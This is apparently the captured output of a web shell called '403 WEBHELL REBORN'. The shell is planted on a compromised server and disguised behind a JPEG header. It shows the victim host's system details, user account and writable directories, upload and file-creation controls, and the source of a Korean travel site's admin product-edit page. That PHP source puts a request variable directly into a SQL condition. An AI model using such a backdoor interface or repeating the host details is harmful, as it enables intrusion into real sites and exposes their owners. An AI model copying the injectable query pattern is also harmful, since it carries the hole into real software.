ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good_en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good_en/good_edit.html
<?
include "../include/top.html";
include "_common.php";

// 상품정보
$arr = good_list(" and g_uid='{$g_uid}' ");
$row = good_list_replace($arr[0]);

if(!$tab) {
	$tab=$row['tab'];
	include "_common.php";
}

$lang = "en";

// 1차카테고리
$bc_arr = TO_get_bc("","N"," and tab='{$tab}' and b_lang='{$lang}' ");

// 국가 목록
$country_arr = to_area_b("",""," and DelFlag='N' ",$lang); 

// 특징아이콘
$special_arr = base_codec("TGO","TSPE","","N");

// 관리자목록
$admin_arr = member_fetch(" and mb_level <= 10  and del_flag='N' ");

// 미팅장소
$meeting_place_arr = $row['g_meeting_all'];
?>

<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title"><?=$row['g_title']?><span class="arrow">&gt;</span><strong>기본 정보</strong></div>
			<div class="contents_detail">

		<div id="Content_box">

			<!-- 본문 -->
			<? include "_menu.html"; ?>

				<!-- 폼 -->
			<form name="frm_ins" id="frm_ins" method="post" enctype="multipart/form-data">
				<input type="hidden" name="SqlType" value="good_edit" />
				<input type="hidden" name="g_uid" value="<?=$g_uid?>" />
				<table width="100%" border="0" cellspacing="0" cellpadding="0" class="t_register mt25">
				<tbody>
				<tr>
					<th width="150" scope="row"><label for="hotel_nm">카테고리</label></th>
					<td>
							<select name="b_uid" id="b_uid" size="10" onchange="$('#ajax_sc').html('');ajax_obj_loader('good_edit_category_ajax.html?mode=mc&b_uid='+this.value,'ajax_mc');" style="width:140px; background:none;" hname="1차카테고리" required>
								<option value="" style="background:#000000;color:#ffffff;">==1차카테고리==</option>
								<?
								for($i=0 ; $i<count($bc_arr) ; $i++){
									$arr = $bc_arr[$i];
								?>
									<option value="<?=$arr['b_uid']?>" <?=($arr['b_uid']==$row['b_uid'])?"selected":""?>>[<?=$arr['b_uid']?>] <?=$arr['b_name']?></option>
								<?
								}
								?>
							</select>
							<span id="ajax_mc"></span><!-- 2차 카테고리 -->
							<span id="ajax_sc"></span><!-- 3차 카테고리 -->
						</td>
				</tr>
				<tr>
					<th scope="row"><label for="hotel_nm">국가 &gt; 도시</label></th>
					<td>
							<select name="Bidx" id="Bidx" size="10" style="width:140px; background:none;" onchange="ajax_obj_loader('good_edit_cityarea_ajax.html?mode=city&Bidx='+this.value,'ajax_city');"  hname="국가" required>
								<option value="" style="background:#000000;color:#ffffff;">==국가==</option>
								<?
									for($i=0 ; $i < count($country_arr) ; $i++){
										$arr = $country_arr[$i];
								?>
								<option value="<?=$arr['Bidx']?>" <?=($arr['Bidx']==$row['Bidx'])?"selected":""?>><?=$arr['NationName']?></option>
								<?}?>
							</select>
							<span id="ajax_city"></span><!-- 도시 --></PRE>
					</td>
				</tr>
					<?if($tab=="D") {?>
					<tr>
						<th scope="row"><label for="gdt">투어분류</label></th>
						<td><?=$row['gdt_nm']?></td>
					</tr>
					<?}?>
				<tr>
					<th scope="row"><label for="g_title">상품명</label></th>
					<td><input name="g_title" id="g_title" type="text" value="<?=$row['g_title']?>" style="width:750px;" class="input_text" maxlength="200" hname="상품명" required />&nbsp;</td>
				</tr>
				<?if($row['exchange_fg']=="Y"){?>
				<tr>
					<th scope="row">화폐단위</th>
					<td>
							1<?=$row['ext_eng']?>(<?=$row['ext_nm']?>) → <?=$row['ext_to_krw']?>KRW(원)
					</td>
				</tr>
				<?}?>
				<tr>
					<th scope="row">
					<?if($tab=="T"){?>
						취소수수료
					<?}else{?>
						상품간단설명
					<?}?>
					</th>
					<td><div style="width:750px;"><textarea name="g_brief" id="g_brief" style="width:750px; height:100px;" class="" ><?=$row['g_brief']?></textarea></div></td>
				</tr>
				<tr>
					<th scope="row">상품특징아이콘</th>
					<td>
						<?
							$g_type_arr = explode(",",$row['g_type']);

							for( $i=0 ; $i<count($special_arr) ; $i++)
							{
								$arr = $special_arr[$i];
								$checked = "";
								for( $j=0 ; $j<count($g_type_arr)  ; $j++){
									if ($g_type_arr[$j]==$arr['code']) $checked="checked";
								}
						?>
								<label for="g_type_<?=$i?>"><input type="checkbox" name="g_type_arr[]" id="g_type_<?=$i?>" value="<?=$arr['code']?>" <?=$checked?>> <img src="<?=$arr['cd_img']?>"></label> &nbsp;
						<?
							}
						?>
					</td>
				</tr>
				<?if($tab!="T") {?>
				<tr>
					<th scope="row">여행지역</th>
					<td><input name="g_sch" id="g_sch" type="text" value="<?=$row['g_sch']?>" style="width:750px;" class="input_text" maxlength="100"  /></td>
				</tr>
				<?}?>
				<?if($row['tab']=="D") {?>
				<tr>
					<th scope="row">미팅장소/미팅시간</th>
					<td>
						<table border="0" cellspacing="0" cellpadding="0" style="width:750px; height:100px;" class="setting_write" id="setting_write_meeting">
							<tr>
								<th>미팅장소</th><th>미팅시간</th><th width="30px">-</th>
							</tr>
							<tr>
								<td><input type="text" class="input_text" name="meeting_place_arr[]" value="<?=$meeting_place_arr[0]['meeting_place']?>" size="50"></td>
								<td><input type="text" class="input_text" name="meeting_hh_arr[]" value="<?=$meeting_place_arr[0]['meeting_hh']?>" style="width:20px;"maxlength="2"> : <input type="text" class="input_text" name="meeting_mm_arr[]" value="<?=$meeting_place_arr[0]['meeting_mm']?>" size="5" style="width:20px;"maxlength="2"></td>
								<td><span onclick="meetingPlace('add');" style="cursor:pointer;">╂</span></td>
							</tr>
							<?
								for($i=1 ; $i<count($meeting_place_arr) ; $i++) {
									$v = $meeting_place_arr[$i];
							?>
							<tr>
								<td><input type="text" class="input_text" name="meeting_place_arr[]" value="<?=$v['meeting_place']?>" size="50"></td>
								<td><input type="text" class="input_text" name="meeting_hh_arr[]" value="<?=$v['meeting_hh']?>" style="width:20px;"maxlength="2"> : <input type="text" class="input_text" name="meeting_mm_arr[]" value="<?=$v['meeting_mm']?>" size="5" style="width:20px;"maxlength="2"></td>
								<td><span onclick="meetingPlace('add');" style="cursor:pointer;">╂</span> <span onclick="meetingPlace(\'del\',$(this));" style="cursor:pointer;">─</span></td>
							</tr>
							<?}?>
						</table>
					</td>
				</tr>
				<?}?>
				<tr>
					<th scope="row">
					<?if($tab=="T"){?>
						유효기간
					<?}else{?>
						<span class="help_tooltip" title="HTML Tag사용 가능합니다.<br>아이프레임(iframe) Tag를 사용하셔서 입력하세요.">동영상</span>
					<?}?>
					</th>
					<td><div style="width:750px;"><textarea name="movie_i" id="movie_i" style="width:750px; height:100px;"><?=$row['movie_i']?></textarea></div></td>
				</tr>
				<tr>
					<th scope="row">
					<?if($tab=="T"){?>
						주의사항
					<?}else{?>
						이용특전 및 참조사항
					<?}?>
					</th>
					<td><div style="width:750px;"><textarea name="g_special" id="g_special" class="ckeditor" ><?=$row['g_special']?></textarea></div></td>
				</tr>
				<tr>
					<th scope="row">
					<?if($tab=="T"){?>
						이용안내
					<?}else{?>
						포함내역
					<?}?>
					</th>
					<td><div style="width:750px;"><textarea name="g_inclusion" id="g_inclusion" class="ckeditor" ><?=$row['g_inclusion']?></textarea></div></td>
				</tr>
				<tr>
					<th scope="row">
					<?if($tab=="T"){?>
						이용규칙
					<?}else{?>
						불포함내역
					<?}?>
					</th>
					<td><div style="width:750px;"><textarea name="g_noinclusion" id="g_noinclusion" class="ckeditor" ><?=$row['g_noinclusion']?></textarea></div></td>
				</tr>
				<tr>
					<th scope="row">
					<?if($tab=="T"){?>
						환불안내
					<?}else{?>
						유의사항 및 예약규정
					<?}?>
					</th>
					<td><div style="width:750px;"><textarea name="g_rule" id="g_rule" class="ckeditor" ><?=$row['g_rule']?></textarea></div></td>
				</tr>

				<?if($tab=="T"){?>
				<tr>
					<th scope="row">주문안내</th>
					<td><div style="width:750px;"><textarea name="g_heed" id="g_heed" class="ckeditor" ><?=$row['g_heed']?></textarea></div></td>
				</tr>
				<tr>
					<th scope="row">연속사용및 교환여부</th>
					<td><div style="width:750px;"><textarea name="g_ready" id="g_ready" class="ckeditor" ><?=$row['g_ready']?></textarea></div></td>
				</tr>
				<?}?>
				<!-- <tr>
					<th scope="row">상세설명</th>
					<td><div style="width:750px;"><textarea name="g_explain" id="g_explain" class="ckeditor" ><?=$row['g_explain']?></textarea></div></td>
				</tr> -->
					
				<tr>
					<th scope="row">대표이미지</th>
					<td>
						<div style="margin:5px 0;"><input type="file" name="g_image1" id="g_image1" size="30" class="input_file"><span class="ml10">※ 넓이:높이 3:2 비율&nbsp;&nbsp;&nbsp;ex) 720px x 480px</span></div>
						<?if($row['g_image1']){?><div><img src="<?=$row['img_src']?>" alt="상품이미지" width="239" height="180" style="cursor:pointer;" onClick="to_dialog.image(this.src,'메인이미지')" /></div><?}?>
					</td>
				</tr>
				<tr>
					<th scope="row">담당자</th>
					<td>
						<select name="admin_id" id="admin_id" style="width:180px;" hname="담당자" required>
							<option value="">==선택==</option>
							<?
								for($i=0 ; $i < count($admin_arr) ; $i++){
									$arr = $admin_arr[$i];
							?>
							<option value="<?=$arr['mb_id']?>" <?=($arr['mb_id']==$row['admin_id'])?"selected":""?>><?=$arr['mb_nm']?></option>
						<?}?>
						</select>
					</td>
				</tr>
				</tbody>
				</table>
			</form>
			<!-- /폼 -->

			<div class="btn_wrap_C mt30">
				<a class="Bbtn red" onClick="edit_frm();" href="javascript:;">수정</a>&nbsp;<a href="index.html?<?=$_href?>" class="Bbtn gray">목록보기</a>
			</div>

			</div>
			<!-- /본문 -->
		</div>
	</div>
</div>

<script type="text/javascript">
	function edit_frm()
	{
		var f=document.frm_ins;

		var result = to_validation(f);
		if (result==false) return false;

		if(!confirm('수정하시겠습니까?')) return false;

		f.action = "good_proc.php?<?=$_href?>";

		f.submit();
	}

	function meetingPlace(_m,$o)
	{
		var str;
			
		str=	'<tr>'+
					'<td><input type="text" class="input_text" name="meeting_place_arr[]" value="" size="50"></td>'+
					'<td><input type="text" class="input_text" name="meeting_hh_arr[]" value="" style="width:20px;" maxlength="2"> : <input type="text" class="input_text" name="meeting_mm_arr[]" value="" size="5" style="width:20px;" maxlength="2"></td>'+
					'<td><span onclick="meetingPlace(\'add\');" style="cursor:pointer;">╂</span> <span onclick="meetingPlace(\'del\',$(this));" style="cursor:pointer;">─</span></td>'+
					'</tr>';

		switch(_m){
			case "add":
					$("#setting_write_meeting tbody").append(str);
				break;
			case "del":
					$o.parent().parent("tr").remove();
				break;
		}
	}

$(function(){
	// 카테고리 세팅
	ajax_obj_loader('good_edit_category_ajax.html?mode=mc&b_uid=<?=$row['b_uid']?>&m_uid=<?=$row['m_uid']?>','ajax_mc'); // 2차 카텍고리 
	ajax_obj_loader('good_edit_category_ajax.html?mode=sc&b_uid=<?=$row['b_uid']?>&m_uid=<?=$row['m_uid']?>&s_uid=<?=$row['s_uid']?>','ajax_sc'); // 3차 카텍고리 

	// 국가 세팅
	ajax_obj_loader('good_edit_cityarea_ajax.html?mode=city&Bidx=<?=$row['Bidx']?>&Cidx=<?=$row['Cidx']?>','ajax_city');// 도시 정보세팅
	ajax_obj_loader('good_edit_cityarea_ajax.html?mode=place&Bidx=<?=$row['Bidx']?>&Cidx=<?=$row['Cidx']?>','ajax_place');// 관광지정보(TP01,지역정보)

	$(".ckeditor").each(function(){
		var c=$(this).attr("id");

		// /js/ckeditor_v4.9/plugins/upimgs,admin.lib.js 참고
		CKEDITOR.replace(c).ui.addButton( 'Heart', {
		    label: '이미지멀티업로드',
		    command: 'insertHeart',
		    toolbar: 'heart'
		});	

	});


});

</script>
<?
include "../include/footer.html";
?>

Anon7 - 2021